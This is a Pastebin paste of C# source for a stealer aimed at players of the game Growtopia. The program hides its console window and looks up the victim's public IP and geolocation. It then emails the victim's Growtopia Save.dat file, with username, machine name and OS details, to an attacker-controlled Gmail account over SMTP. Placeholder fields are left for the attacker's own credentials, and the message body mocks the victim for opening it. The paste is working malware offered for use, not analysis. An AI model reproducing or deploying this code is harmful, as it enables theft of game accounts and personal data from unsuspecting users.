Advertisement
Guest User

Code 1.4, supports all pcs!

a guest
Mar 21st, 2016
1,220
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.93 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Net;
  5. using System.Net.Mail;
  6. using System.Runtime.InteropServices;
  7. using System.Text;
  8.  
  9. namespace savedat
  10. {
  11. class Program
  12. {
  13. [DllImport("user32.dll")]
  14. static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  15.  
  16. [DllImport("Kernel32")]
  17. private static extern IntPtr GetConsoleWindow();
  18.  
  19. const int SW_HIDE = 0;
  20. const int SW_SHOW = 5;
  21.  
  22. static void Main(string[] args)
  23. {
  24. IntPtr hwnd;
  25. hwnd = GetConsoleWindow();
  26. ShowWindow(hwnd, SW_HIDE);
  27. string externalip = new WebClient().DownloadString("http://icanhazip.com");
  28. externalip = new System.Net.WebClient().DownloadString("http://bot.whatismyipaddress.com");
  29. externalip = new System.Net.WebClient().DownloadString("http://ipinfo.io/ip");
  30. string growtopia = "\\Growtopia\\Save.dat";
  31. string kek = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
  32. string lol = externalip.ToUpper();
  33. string geoip = new WebClient().DownloadString("http://api.predator.wtf/geoip/?arguments=" + externalip);
  34. string betterip = "http://api.predator.wtf/geoip/?arguments=" + externalip;
  35. string fromEmail; string toEmail; string subject; string body; string gmailUser; string gmailPass; string savedat;
  36.  
  37. gmailUser = "EXAMBLE@GMAIL.COM"; //put your gmail email.
  38. gmailPass = "YOURPASSWORDOFGMAILHERE"; //Put your gmail pass
  39. toEmail = gmailUser;
  40. fromEmail = gmailUser;
  41. string userName = Environment.UserName;
  42. string computerName = System.Environment.MachineName.ToString();
  43. subject = Environment.UserName + " / " + computerName + "s Save.dat - " ;
  44.  
  45. body = "This noob " + Environment.UserName + " Opened it.\n" + "Some info:\n" + geoip + "\n" + "\n" + "Or check his Info in better format here: " + betterip + "\n" + "Username: " + Environment.MachineName +"\n" + "Windows Build: " + Environment.OSVersion+ "\n" + "Ip Address: " + externalip + "Location Opened in: "+ Environment.CurrentDirectory + "\n" + "He gives you this!";
  46.  
  47.  
  48.  
  49. savedat = kek + growtopia;
  50. MailMessage message = new MailMessage(fromEmail, toEmail, subject, body);
  51. SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
  52.  
  53. smtp.EnableSsl = true;
  54. smtp.Credentials = new NetworkCredential(gmailUser, gmailPass);
  55.  
  56. if (savedat != string.Empty || savedat != null)
  57. {
  58. Attachment attach = new Attachment(savedat);
  59. message.Attachments.Add(attach);
  60. }
  61.  
  62. smtp.Send(message);
  63. return;
  64. }
  65.  
  66. }
  67.  
  68.  
  69. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement